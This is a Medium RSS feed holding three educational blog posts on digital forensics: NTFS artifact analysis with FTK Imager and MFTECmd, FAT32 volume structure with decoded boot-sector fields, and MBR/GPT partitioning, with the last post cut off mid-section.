<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Thakur Ashutosh on Medium]]></title>
        <description><![CDATA[Stories by Thakur Ashutosh on Medium]]></description>
        <link>https://medium.com/@ashutoshthakurofficial?source=rss-5c19d93cfa65------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*kNZkZY3sthf3dYZ75Xsrgg.jpeg</url>
            <title>Stories by Thakur Ashutosh on Medium</title>
            <link>https://medium.com/@ashutoshthakurofficial?source=rss-5c19d93cfa65------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 20:57:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ashutoshthakurofficial/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Mastering NTFS Forensics: A Comprehensive Guide for Practitioners]]></title>
            <link>https://medium.com/@ashutoshthakurofficial/mastering-ntfs-forensics-a-comprehensive-guide-for-practitioners-1236618f0d49?source=rss-5c19d93cfa65------2</link>
            <guid isPermaLink="false">https://medium.com/p/1236618f0d49</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[ntfs]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Thakur Ashutosh]]></dc:creator>
            <pubDate>Wed, 13 Aug 2025 16:09:01 GMT</pubDate>
            <atom:updated>2025-08-13T16:10:10.606Z</atom:updated>
            <content:encoded><![CDATA[<p>Before delving into byte-level analysis, remember one big idea: NTFS turns every routine file action into a meticulous forensic breadcrumb. If you can read those crumbs, you can reconstruct almost any user or attacker activity on a Windows system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MlMez4tK9EeCgHcr" /></figure><h3>1. NTFS Basics — Why Investigators Love It</h3><p>NTFS (New Technology File System) has been the Windows default since 1993. Unlike simpler file systems, NTFS employs journaling to log changes before they are committed, stores rich metadata, supports file-level encryption (EFS), and scales to 256 TB volumes. Those design choices leave investigators with an unusually deep historical record of system activity.</p><p>A visual of NTFS’s layered architecture appears below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/0*Zq8UYuXubRCqdUDr.png" /></figure><p>Diagram and command output showing NTFS MFT record structure and attribute details from forensic analysis <a href="https://countuponsecurity.com/2015/11/10/digital-forensics-ntfs-metadata-timeline-creation/">countuponsecurity</a></p><h3>2. Key Features That Generate Evidence</h3><ul><li>Advanced Metadata — Creation, modification, access, and change timestamps for every object.</li><li>Journaling — Crash-resilient logs ($LogFile and $UsnJrnl) that capture each write.</li><li>Fine-Grained Security — Access-control lists plus optional EFS encryption.</li><li>Large-Volume &amp; Large-File Support — 256 TB maximum size for both files and partitions.</li><li>Built-in Compression — Transparent saving of disk space without losing metadata.</li><li>Cross-Platform Readability — Third-party tools allow Linux/macOS triage.</li></ul><h3>3. NTFS vs. FAT32 vs. exFAT</h3><pre>| Feature           | NTFS            | FAT32   | exFAT |<br>|-------------------|-----------------|---------|-------|<br>| Max Drive Size    | 256 TB          | 2 TB    | 128 PB|<br>| Max File Size     | 256 TB          | 4 GB    | 16 EB |<br>| Crash Recovery    | Yes (journal)   | No      | No    |<br>| Encryption        | Built-in (EFS)  | No      | No    |<br>| Compression       | Yes             | No      | No    |<br>| File Permissions  | ACLs            | No      | No    |<br>| Reliability       | High            | Low     | Moderate|<br>| Best Use Case     | Modern Windows  | Legacy USB | Flash media |</pre><h3>4. Disk-Level Anatomy</h3><h3>4.1 Partition Boot Sector (PBS)</h3><p>Stores boot code, the BIOS Parameter Block, cluster size, and offsets for the Master File Table (MFT) and its mirror. Integrity checks here spot rootkits that tamper with startup.cb5de74e-8140–4624–9d02-b5269e654e89_NTFS.pdf</p><h3>4.2 Master File Table (MFT)</h3><p>The heart of NTFS. Every file or directory gets a 1 KB record containing:</p><ul><li>File name &amp; parent reference</li><li>Four MACB timestamps</li><li>Security descriptor</li><li>Data run pointers (non-resident content)</li></ul><h3>4.3 $MFTMirr</h3><p>A safety copy of the first MFT entries. Correlating MFT with $MFTMirr validates metadata integrity after corruption.</p><h3>4.4 System Files (Metadata)</h3><p>$LogFile, $Bitmap, $BadClus, $Boot, $UpCase, etc. Together they reveal allocation patterns, bad-sector hiding, and previous volume states.</p><h3>4.5 File Data Area</h3><p>Holds resident data (inside the MFT record) or non-resident clusters. Slack space here often leaks fragments of deleted files.</p><h3>4.6 Alternate Data Streams (ADS)</h3><p>Side channels that let attackers stash payloads without enlarging the main file size.</p><h3>5. Live Acquisition with FTK Imager</h3><ol><li>Add Evidence Item → Physical Drive to mount the live disk.</li><li>Browse Partition → NONAME [NTFS] → [root] to expose metadata files.</li><li>Export critical artifacts to a write-protected Evidence folder:<br>$MFT, $LogFile, $I30, $Extend, $UsnJrnl</li></ol><p>A screenshot of this workflow is shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SyvdFGfdAtnYGFzI.png" /></figure><p>AccessData FTK Imager interface showing NTFS file system data in hex and ASCII view during forensic analysis <a href="https://www.osintteam.com/cyber-forensics-using-ftk-imager-introduction-to-ntfs/">osintteam</a></p><h3>6. Deep-Dive Artifact Analysis</h3><h3>6.1 Parsing the MFT with MFTECmd</h3><pre>MFTECmd.exe -f Evidence\$MFT --csv Evidence --csvf MFT_record.csv</pre><p>Key columns:</p><pre>| Field               |      | Why It Matters                     |<br>|---------------------|-----|-------------------------------------|<br>| Entry # / Sequence # |     | Detect record reuse (potential timestomping)|<br>| Parent Entry #       |     | Rebuild directory paths             |<br>| File Name           |      | Map activity to user artefacts       |<br>| MACB Timestamps     |      | Precise timeline generation          |<br>| Flags / In Use      |      | Identify deleted or hidden files     |</pre><h3>6.2 Understanding MACB Timestamps</h3><ul><li>Modified — Last data change</li><li>Accessed — Last open/read</li><li>Changed — Metadata alteration</li><li>Birth — Original creation</li></ul><p>Comparing MACB across multiple artifacts surfaces abnormal sequences (e.g., metadata changed but content untouched).</p><h3>6.3 Journaling Goldmines</h3><h3>$LogFile (Transactional Log)</h3><p>Captures metadata updates before disk commit. Replay analysis reconstructs interrupted operations.</p><h3>$UsnJrnl (USN Journal)</h3><p>Located in $Extend; the $J alternate stream lists every file change with reason codes.</p><pre>| Opcode                        | Meaning                     |<br>|-------------------------------|-----------------------------|<br>| USN_REASON_FILE_CREATE        | New file or directory       |<br>| USN_REASON_FILE_DELETE        | Object deleted              |<br>| USN_REASON_DATA_OVERWRITE     | Content overwritten         |<br>| USN_REASON_RENAME_OLD_NAME    | File renamed (old name)     |<br>| USN_REASON_CLOSE              | Handle closed after write   |</pre><p>Filtering by opcode quickly spotlights mass deletions or bulk renames during an intrusion window.</p><h3>7. Practical Workflow for Incident Responders</h3><ol><li>Image or Live-Capture the suspect system.</li><li>Carve out $MFT, $LogFile, $UsnJrnl, $I30.</li><li>Parse each artifact with MFTECmd and load CSVs into Timeline Explorer.</li><li>Correlate MACB events with USN opcodes to validate or refute attacker chronology.</li><li>Use $Bitmap and $BadClus to hunt for intentionally hidden sectors.</li></ol><h3>8. Key Takeaways</h3><ul><li>NTFS never forgets. Between the MFT, journals, and $I30, digital footprints survive long beyond file deletion.</li><li>Cross-artifact validation beats anti-forensic tricks. Timestamp forgery in one location rarely matches every redundant copy.</li><li>Tooling matters. FTK Imager for acquisition, Eric Zimmerman’s MFTECmd for parsing, and Timeline Explorer for visualization streamline the entire process.</li><li>Slack space is underestimated. Directory index slack often reveals payload names that never appear elsewhere.</li></ul><h3>9. Some practical screenshots of analysis</h3><p>All the screenshots and GIFs used in this analysis are taken from the TryHackMe NTFS Analysis room. You can access the room here: <a href="https://tryhackme.com/room/ntfsanalysis">https://tryhackme.com/room/ntfsanalysis</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/0*DNU6YEfdhns5ngS_" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*Din7JPrtyEgZTYV-" /></figure><p>When you extract the $MFT (Master File Table) file using FTK Imager, you are essentially taking a raw copy of this critical NTFS system file that holds metadata records for every file and directory on the volume. The $MFT contains detailed information such as file paths, creation/modification/access times, security descriptors, and other attributes.</p><p>This raw $MFT file by itself is not easily human-readable because it’s a binary log designed for the file system. That’s where a tool like Eric Zimmerman’s MFTECmd.exe comes in. You feed the extracted $MFT file into MFTECmd, and it parses this complex $MFT structure, converting the data into a well-organized CSV format.</p><p>The CSV output includes columns representing file names, parent references (to reconstruct folder paths), MACB timestamps (Modified, Accessed, Changed, Birth), flags indicating file status (e.g., deleted or hidden), file sizes, and more. This tabular data is structured so that visualization tools, like Timeline Explorer, can import it to create timelines and allow filtering, searching, and correlating file activities.</p><p>In summary:</p><ul><li>Extracted $MFT: Raw NTFS metadata log captured via FTK Imager.</li><li>MFTECmd.exe: Parses $MFT to convert the raw file into CSV containing all relevant file metadata.</li><li>Timeline Explorer: Reads the CSV to visualize and analyze file activity timelines, including file names, locations, modification times, and deletion status.</li></ul><p>This workflow allows forensic practitioners to reconstruct user or attacker activity by showing what files existed, when they were created, modified, or deleted, and where they were stored in the directory hierarchy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*b31hiO4ynbDLRrXWEFF4aQ.png" /></figure><h3>End Note</h3><p>NTFS is far more than just a file system — it’s a built‑in, always‑on witness to activity on a Windows machine. By learning how to acquire critical artifacts like the $MFT, $UsnJrnl, $LogFile, and $I30, and pairing them with the right tools such as FTK Imager, MFTECmd, and Timeline Explorer, investigators can reconstruct file histories with remarkable precision.</p><p>From uncovering deleted files to spotting timestomping attempts, NTFS offers multiple layers of evidence that, when correlated, can tell the complete story of what happened on a system.</p><p>As with all digital forensics, the power lies not just in the tools, but in the examiner’s curiosity and discipline to follow every lead the data provides. Every sector has a story — it’s up to us to read it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1236618f0d49" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding FAT32: The File System That Still Powers Modern Forensics]]></title>
            <link>https://medium.com/@ashutoshthakurofficial/understanding-fat32-the-file-system-that-still-powers-modern-forensics-f85aaf29871e?source=rss-5c19d93cfa65------2</link>
            <guid isPermaLink="false">https://medium.com/p/f85aaf29871e</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[fat32]]></category>
            <category><![CDATA[filesystem]]></category>
            <dc:creator><![CDATA[Thakur Ashutosh]]></dc:creator>
            <pubDate>Tue, 15 Jul 2025 16:48:54 GMT</pubDate>
            <atom:updated>2025-07-15T16:48:54.476Z</atom:updated>
            <content:encoded><![CDATA[<p>Despite its age, FAT32 is still one of the most widely used file systems in the world. Whether you’re plugging in a USB stick, analysing an old camera SD card, or doing forensic recovery, chances are you’re working with FAT32. This post breaks down everything you need to know in the <strong>simplest way possible</strong> — with visuals, examples, and code-block formatted tables for Medium.</p><h3>What is FAT32?</h3><p><strong>FAT32</strong> stands for <strong>File Allocation Table — 32-bit</strong>. It’s a method computers use to organise files on a storage device. Introduced in <strong>Windows 95 OSR2</strong>, it replaced FAT16, allowing forlarger volumes and files.</p><h3>Why FAT32 is still used:</h3><ul><li>Compatible with <strong>Windows, Linux, macOS, cameras, IoT devices</strong></li><li>Lightweight and <strong>easy to implement</strong></li><li>Used in <strong>embedded systems</strong> and legacy devices</li><li>Ideal for <strong>cross-platform USB drives</strong></li><li>Still relevant in <strong>digital forensics</strong> due to its simplicity and traceability</li></ul><h3>Basic Structure of a FAT32 Volume</h3><p>FAT32 divides the storage medium into three major regions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/0*RMaoE0gUSegecfET" /></figure><pre>| Region           | Contains                            | Purpose                                      |<br>|------------------|-------------------------------------|----------------------------------------------|<br>| Reserved Area    | Boot Sector, FSInfo, Backup Boot    | Stores volume settings and metadata          |<br>| FAT Area         | FAT1 and FAT2                       | Tracks allocation of clusters to files       |<br>| Data Area        | Files, Folders, Root Directory      | Where actual data content is stored          |</pre><h3>Reserved Area Breakdown</h3><p>This area is crucial for booting, mounting, and interpreting the volume.</p><pre>| Sector | Name               | Description                                               |<br>|--------|--------------------|-----------------------------------------------------------|<br>| 0      | Boot Sector        | BIOS Parameter Block, jump code, FS version              |<br>| 1      | FSInfo Sector      | Tracks free clusters, next cluster to allocate           |<br>| 2–5    | Reserved Sectors   | Usually empty or OEM-specific space                      |<br>| 6      | Backup Boot Sector | Duplicate of Sector 0 and 1                               |<br>| 7+     | Extra Reserved     | Optional, can store loaders or vendor data               |</pre><h3>Boot Sector (Volume Boot Record)</h3><p>Stored at <strong>sector 0</strong>, the boot sector defines how the OS interacts with the volume.</p><pre>+------------------------------+-----------------------------+------------------+----------------+------------------------------------------------------------------------------------------------------------------+<br>| Field                        | Subfield                    | Size (bytes)     | Offset (Hex)    | Explanation                                                                                                      |<br>+------------------------------+-----------------------------+------------------+----------------+------------------------------------------------------------------------------------------------------------------+<br>| Jump Instruction             |                             | 3                |                | Allows the BIOS or bootloader to bypass the BPB and start executing the boot code.                              |<br>| OEM Name                     |                             | 8                |                | Name of the OEM that formatted the disk (physical/logical).                                                     |<br>| BIOS Parameter Block (BPB)   |                             |                  |                | Contains essential metadata. Required for OS to read the volume.                                                |<br>|                              | Bytes per Sector            | 2                |                | Sector size, typically 512 bytes.                                                                                |<br>|                              | Sectors per Cluster         | 1                |                | Number of sectors per cluster.                                                                                   |<br>|                              | Reserved Sectors            | 2                |                | Sectors reserved for metadata storage.                                                                           |<br>|                              | Number of FATs              | 1                |                | Number of FAT tables (typically 2: FAT1 and FAT2).                                                               |<br>|                              | Max Root Dir Entries        | 2                |                | For FAT32 this is 0, as root can grow dynamically.                                                               |<br>|                              | Total Sectors               | 2 or 4           |                | Total number of sectors (0 for FAT32).                                                                           |<br>|                              | Media Descriptor            | 1                |                | Media type (0xF8 = fixed disk).                                                                                  |<br>|                              | Sectors per FAT             | 2                |                | Size of FAT in sectors (used in FAT16/12). Not used in FAT32.                                                    |<br>|                              | Sectors per Track           | 2                |                | For CHS addressing (legacy HDDs).                                                                                |<br>|                              | Number of Heads             | 2                |                | For CHS addressing (legacy HDDs).                                                                                |<br>|                              | Hidden Sectors              | 4                |                | Sectors before this partition starts.                                                                            |<br>+------------------------------+-----------------------------+------------------+----------------+------------------------------------------------------------------------------------------------------------------+<br>| Total Sectors 32             |                             | 4                |                | Total sectors in 32-bit (must be non-zero in FAT32).                                                             |<br>| Extended BPB                 |                             |                  |                | FAT32-specific extension of the BPB.                                                                             |<br>|                              | Sectors per FAT             | 4                |                | Number of sectors in each FAT (FAT1 and FAT2).                                                                   |<br>|                              | Flags                       | 2                |                | FAT mirroring flags (0 = enabled).                                                                               |<br>|                              | Version                     |                  |                | Version of FAT32 (usually 0.0).                                                                                   |<br>|                              | Cluster Root Directory      | 4                |                | Starting cluster of root directory.                                                                              |<br>|                              | FSInfo Sector               | 2                |                | Sector number of FSInfo structure.                                                                               |<br>|                              | Backup Boot Sector          | 2                |                | Sector number of boot sector backup.                                                                             |<br>+------------------------------+-----------------------------+------------------+----------------+------------------------------------------------------------------------------------------------------------------+<br>| Boot Code                    |                             | 420              |                | Bootstrap code to boot the system.                                                                               |<br>| Boot Sector Signature        |                             | 2                |                | Validation signature (should be 0x55AA).                                                                         |<br>+------------------------------+-----------------------------+------------------+----------------+------------------------------------------------------------------------------------------------------------------+</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/0*yKN4q8wBe6q1RI8a" /></figure><pre>| Field                     | Offset        | Address       | Hex Value (Little Endian) | Hex Value to Translate | Translated Value           | Explanation                                                                 |<br>|---------------------------|---------------|---------------|----------------------------|-------------------------|-----------------------------|-----------------------------------------------------------------------------|<br>| Jump Instruction          | 00000000      | 00            | EB                         | EB                      | jmp short $0000005A         | Jump to address                                                            |<br>|                           |               | 01            | 58                         | 58                      | 88 bytes                    | This is the number of bytes to jump over                                  |<br>|                           |               | 02            | 90                         | 90                      | NOP                         | Does nothing, used as padding                                              |<br>| OEM Name                  | 00000000      | 03–0A         | 4D 53 44 4F 53 35 2E 30     | -                       | MSDOS5.0                    | Indicates format tool (MS-DOS v5.0)                                        |<br>| Bytes per Sector          | 00000000      | 0B–0C         | 00 02                      | 02 00                   | 512                         | 1 sector = 512 bytes                                                       |<br>| Sectors per Cluster       | 00000000      | 0D            | 01                         | 01                      | 1                           | 1 cluster has 1 sector (unusual; typically more)                          |<br>| Reserved Sectors          | 00000000      | 0E–0F         | 7E 18                      | 18 7E                   | 6270                        | Total reserved sectors before FAT1 starts                                 |<br>| Number of FATs            | 00000010      | 00            | 02                         | 02                      | 2                           | FAT1 and FAT2                                                              |<br>| Max Root Dir Entries      | 00000010      | 01–02         | 00 00                      | 00 00                   | 0                           | Not used in FAT32                                                          |<br>| Total Sectors (16-bit)    | 00000010      | 03–04         | 00 00                      | 00 00                   | 0                           | Replaced by Total Sectors 32 in FAT32                                     |<br>| Media Descriptor          | 00000010      | 05            | F8                         | F8                      | -                           | Fixed disk                                                                 |<br>| Sectors per FAT (FAT16)   | 00000010      | 06–07         | 00 00                      | 00 00                   | 0                           | Used only in FAT16, not FAT32                                              |<br>| Sectors per Track         | 00000010      | 08–09         | 3F 00                      | 00 3F                   | 63                          | Logical placeholder                                                        |<br>| Number of Heads           | 00000010      | 0A–0B         | FF 00                      | 00 FF                   | 255                         | Logical placeholder                                                        |<br>| Hidden Sectors            | 00000010      | 0C–0F         | 00 F8 30 06                | 06 30 F8 00             | 103872512                   | Multiplied by sector size = 49 GB                                          |<br>| Total Sectors (32-bit)    | 00000020      | 00–03         | 00 00 02 00                | 00 02 00 00             | 131072                      | Volume size = 64 MB                                                        |<br>| Sectors per FAT           | 00000020      | 04–07         | C1 03 00 00                | 00 00 03 C1             | 961                         | FAT1 and FAT2 each = 961 sectors                                           |<br>| Flags                     | 00000020      | 08–09         | 00 00                      | 00 00                   | 0                           | FAT mirroring enabled                                                      |<br>| Version                   | 00000020      | 0A–0B         | 00 00                      | 00 00                   | 0.0                         | FAT32 version                                                              |<br>| Root Directory Cluster    | 00000020      | 0C–0D         | 02 00                      | 00 02                   | Cluster 2                   | Location of the root directory                                             |<br>| FS Info Sector            | 00000030      | 00–01         | 01 00                      | 00 01                   | Sector 1                    | Stores free cluster info                                                   |<br>| Backup Boot Sector        | 00000030      | 02–03         | 06 00                      | 00 06                   | Sector 6                    | Stores backup of Boot Sector                                               |<br>| Boot Code                 | 00000030–1EF  | -             | -                          | -                       | -                           | Contains bootstrap loader code                                             |<br>| Boot Sector Signature     | 000001F0      | 0E–0F         | 55 AA                      | -                       | -                           | Must be 0x55AA to be considered bootable                                   |</pre><h3>Understanding the FAT Table</h3><p>FAT = File Allocation Table. Think of it like a table of contents that keeps track of where files are stored.</p><p>Each <strong>FAT entry</strong> is 4 bytes (in FAT32) and tells you:</p><ul><li>Where the next cluster of the file is</li><li>Or if it’s the end of the file</li></ul><p>Example:</p><pre>Cluster 5 → 06 00 00 00 → next cluster is 6<br>Cluster 6 → FF FF FF 0F → end of file (EOF)</pre><p>This helps the OS reconstruct fragmented files by following the chain.</p><h3>Data Area and Directory Entries</h3><p>Data area begins after the second FAT. Files and folders are stored in <strong>clusters</strong>, and each file is referenced by <strong>directory entries</strong> in the root directory or subdirectories.</p><h3>Two types of entries:</h3><ol><li><strong>SFN (Short File Name)</strong> — uses the old 8.3 format and stores metadata</li><li><strong>LFN (Long File Name)</strong> — Unicode-based, allows longer names using multiple entries</li></ol><pre>| Entry Type | Description                          | Notes                                            |<br>|------------|--------------------------------------|--------------------------------------------------|<br>| SFN        | 8.3 filename + timestamps + size     | Also stores starting cluster number              |<br>| LFN        | Unicode segments of filename         | Multiple LFN entries can link to one SFN entry   |</pre><h3>LFN Entry Structure (32 bytes each)</h3><pre>| Offset | Size | Field                         | Description                                     |<br>|--------|------|-------------------------------|-------------------------------------------------|<br>| 0x00   | 1    | Sequence and Flags            | Order and deleted flag                          |<br>| 0x01   | 10   | First 5 chars (UTF-16)        | Filename part                                   |<br>| 0x0B   | 1    | Attributes                    | Always 0x0F for LFN                              |<br>| 0x0D   | 1    | Checksum                      | Checksum of corresponding SFN                   |<br>| 0x0E   | 12   | Next 6 chars (UTF-16)         | Filename part                                   |<br>| 0x1C   | 4    | Last 2 chars (UTF-16)         | End of name                                     |</pre><h3>FAT32 in Forensics</h3><p>FAT32 is widely used in USB forensics and live response scenarios.</p><pre>| Forensic Target        | What We Analyze                              |<br>|------------------------|-----------------------------------------------|<br>| FAT Table              | Fragmentation, cluster chains, deleted files |<br>| Root Directory         | Entry type, hidden/deleted flag              |<br>| Timestamps             | Anti-forensics, timestomping detection       |<br>| Slack Space            | Hidden or residual data                      |<br>| Backup FAT             | Tamper detection by comparing FAT1 and FAT2  |</pre><h3>MITRE ATT&amp;CK Techniques Linked to FAT32</h3><pre>| Technique                  | ID           | Use Case                                       |<br>|---------------------------|--------------|------------------------------------------------|<br>| Direct Volume Access      | T1006        | Bypass OS-level monitoring                     |<br>| Hidden Files &amp; Dirs       | T1564.001    | Use hidden attribute 0x02                     |<br>| File Deletion             | T1070.004    | Overwrite or zero out FAT entries             |<br>| Timestomping              | T1070.006    | Modify timestamps in directory entry          |<br>| Persistence Removal       | T1070.009    | Break chain in FAT to hide presence           |</pre><h3>FAT32 Forensic Analysis Techniques</h3><pre>| Technique                    | Focus Areas                             | Purpose                                     |<br>|-----------------------------|-----------------------------------------|---------------------------------------------|<br>| Cluster Chain Analysis      | FAT Table, Directory                    | Reconstruct file paths, find fragments      |<br>| File Carving                | Unallocated Clusters                    | Recover deleted files via signature search  |<br>| Deleted File Detection      | Directory Entries, FAT                  | Recover files with 0xE5 marker              |<br>| Slack Space Analysis        | Data Clusters                           | Look for hidden/residual data               |<br>| FAT1 vs FAT2 Comparison     | FAT Tables                              | Detect tampering or corruption              |<br>| Keyword &amp; Pattern Search    | Entire Data Region                      | Search for IOC strings, emails, credit card |<br>| Timeline Reconstruction     | File timestamps                         | Track user behavior over time               |</pre><h3>FAT32 in Simple Terms</h3><pre>| Part          | Like...             | Purpose                                        |<br>|---------------|---------------------|------------------------------------------------|<br>| Boot Sector   | Instruction manual  | Describes layout and rules                    |<br>| FAT Table     | File roadmap        | Shows where each part of a file is located    |<br>| Data Area     | Book shelves        | Where the actual file content is stored       |<br>| Directory     | Card catalog        | Keeps metadata about each file and folder     |</pre><blockquote><strong><em>Want to Learn More?</em></strong><em><br> This write-up is inspired by hands-on learning from </em><strong><em>TryHackMe</em></strong><em>. If you’re curious to explore FAT32 forensics practically, check out the </em><strong><em>FAT32 room on TryHackMe</em></strong><em>. It’s an excellent way to solidify your understanding with real-world challenges.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f85aaf29871e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Deep Dive into Disk Partitioning: MBR, GPT & Boot Mechanics]]></title>
            <link>https://medium.com/@ashutoshthakurofficial/deep-dive-into-disk-partitioning-mbr-gpt-boot-mechanics-b45728263b77?source=rss-5c19d93cfa65------2</link>
            <guid isPermaLink="false">https://medium.com/p/b45728263b77</guid>
            <category><![CDATA[disk-forensics]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[boot-process]]></category>
            <category><![CDATA[data-recovery]]></category>
            <dc:creator><![CDATA[Thakur Ashutosh]]></dc:creator>
            <pubDate>Thu, 03 Jul 2025 17:36:21 GMT</pubDate>
            <atom:updated>2025-07-03T17:36:21.524Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*70FoIFz49O8ayEiAZ7ps_A.png" /></figure><p>Ever wondered how your computer knows <strong>where</strong> the operating system is stored, or how it boots seamlessly from disk?</p><p>This guide walks you through the step-by-step <strong>boot process</strong>, unpacks the <strong>MBR</strong>, and deep dives into <strong>GPT</strong>, including detailed theory, technical structure, and forensic insights.</p><h3>Disk Partitions: Organised Storage</h3><p>Your hard disk is like a giant building; partitions are individual rooms (e.g., C:, D:, E: in Windows). Without proper mapping, data storage would be chaotic.</p><p><strong>Partition schemes</strong> like <strong>MBR</strong> and <strong>GPT</strong> act as blueprints, indicating where each “room” starts and ends. These blueprints live in the <strong>first sectors</strong> and are critical during boot. They’re also prime targets for malware (e.g., <strong>bootkits</strong>).</p><h3>Step-by-Step Boot Process Overview</h3><pre>1. Power On<br>   - Press power → motherboard activates.<br>   - CPU draws first instructions from firmware.<br>2. CPU &amp; Firmware<br>   - CPU fetches from BIOS/UEFI flash chip.<br>   - Hardware initialization begins.<br>3. BIOS/UEFI &amp; POST<br>   - POST checks hardware status.<br>   - Errors result in beeps or displays.<br>4. Locate Bootable Device<br>   - Firmware follows a boot order, finds a disk/USB.<br>5. Load Partition Map<br>   - First sector loaded: MBR or GPT structure.<br>6. Load Bootloader<br>   - GRUB, Windows Boot Manager, or .efi files load.<br>7. Load OS<br>   - Kernel, drivers, and services initialize.<br>8. User Interface<br>   - Login screen appears, user can interact.</pre><h3>Firmware: BIOS vs UEFI</h3><pre>Feature      | BIOS            | UEFI<br>------------ | ----------------|-------------------------<br>Age          | Old             | Modern standard<br>Mode         | 16-bit          | 32/64-bit<br>Disk Support | Up to 2 TB      | Up to 9 ZB (zetta bytes)<br>Security     | No Secure Boot  | Supports Secure Boot<br>Partitions   | MBR             | GPT</pre><p><strong>Check on Windows</strong>:</p><ul><li>Press Win + R → type msinfo32</li><li>Look for <strong>BIOS Mode</strong>:</li><li><em>Legacy</em> = BIOS</li><li><em>UEFI</em> = UEFI</li></ul><h3>Master Boot Record (MBR)</h3><p><strong>MBR</strong> occupies the <strong>first sector (512 bytes)</strong> of a disk. It contains:</p><pre>Portion             | Byte Range    | Purpose<br>------------------- | ------------- | -------------------------------------<br>Bootloader Code     | 0–445         | Finds bootable partition<br>Partition Table     | 446–509       | Defines up to 4 partitions<br>Signature           | 510–511       | Magic bytes 55 AA to mark the end</pre><h3><strong>Bootloader Code (Bytes 0–445)</strong></h3><ul><li>The first part of the MBR is responsible for launching the boot process.</li><li>It contains the <strong>initial bootloader</strong>, which identifies the <strong>bootable partition</strong> from the partition table.</li><li>Once found, it passes control to the second-stage bootloader (like GRUB or Windows Boot Manager).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*LIQpuklDJUrwv_nA-oAgcw.png" /></figure><h3>Partition Entry (16 bytes):</h3><ul><li>This section holds data about <strong>up to four partitions</strong>, each using <strong>16 bytes</strong>.</li><li>It tells the system where each partition starts and ends, and what type it is.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*m5FFbASRHn96FQIwlQsOsw.png" /></figure><pre>Byte Range | Field               | Value      | Meaning<br>---------- | ------------------- | ---------- | ----------------------------------<br>0          | Boot Indicator      | 80         | Bootable (80=yes, 00=no)<br>1–3        | Start CHS           | 20 21 00   | Old physical format (not used)<br>4          | Partition Type      | 07         | NTFS partition<br>5–7        | End CHS             | FE FF FF   | Old format again<br>8–11       | Start LBA           | 00 08 00 00| Logical start sector = 2048<br>12–15      | # Sectors           | 00 B0 23 03| Total ~26.9 GB partition</pre><h3>LBA (Logical Block Addressing) Partition Locating</h3><ol><li>Reverse bytes for little-endian: 00 08 00 00 → 00 00 08 00</li><li>Decimal = 2048</li><li>Offset in bytes = 2048 × 512 = <strong>1,048,576</strong></li><li>Use HxD → <em>Search</em> → <em>Go to Offset</em> → enter 1048576</li><li>You’ll jump directly to the partition’s start — handy in forensics!</li></ol><h3>Calculating Partition Size</h3><ol><li>Reverse 00 B0 23 03 → 03 23 B0 00</li><li>Decimal = <strong>52,670,464 sectors</strong></li><li>Size in bytes = 52,670,464 × 512 ≈ <strong>26.9 GB</strong></li></ol><h3>MBR Signature</h3><p>Bytes <strong>510–511</strong> must be 55 AA. If altered, the disk becomes <strong>unbootable</strong>. Malware often targets this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*xiKs1LCqLXbZnFauGvF_vA.png" /></figure><h3>Why GPT Replaced MBR</h3><pre>Feature             | MBR       | GPT + UEFI<br>------------------- | --------- | -------------------------------<br>Max Disk Size       | ~2 TB     | ~9 ZB<br>Max Partitions      | 4         | 128<br>Redundancy          | None      | Header + table backups<br>Firmware            | BIOS      | UEFI</pre><h3>GPT Disk Structure — Five Key Parts</h3><pre># | Component                       | Sector Location | Purpose<br>--|-------------------------------|------------------|-----------------------------------------<br>1 | Protective MBR                | 0                | Warns BIOS; partition type = EE<br>2 | Primary GPT Header            | 1                | Main disk blueprint<br>3 | Partition Entry Array         | 2…               | Up to 128 entries × 128 bytes<br>4 | Backup Partition Array        | Last - 1         | Redundant array at disk end<br>5 | Backup GPT Header             | Last             | Redundant header for recovery</pre><h3><strong>Protective MBR (Sector 0)</strong></h3><ul><li><strong>Bootloader area</strong>: usually all zeros (just a placeholder).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*8b_Y-rETA0HeX3qnJ6FJnQ.png" /></figure><ul><li><strong>Partition table</strong>: only 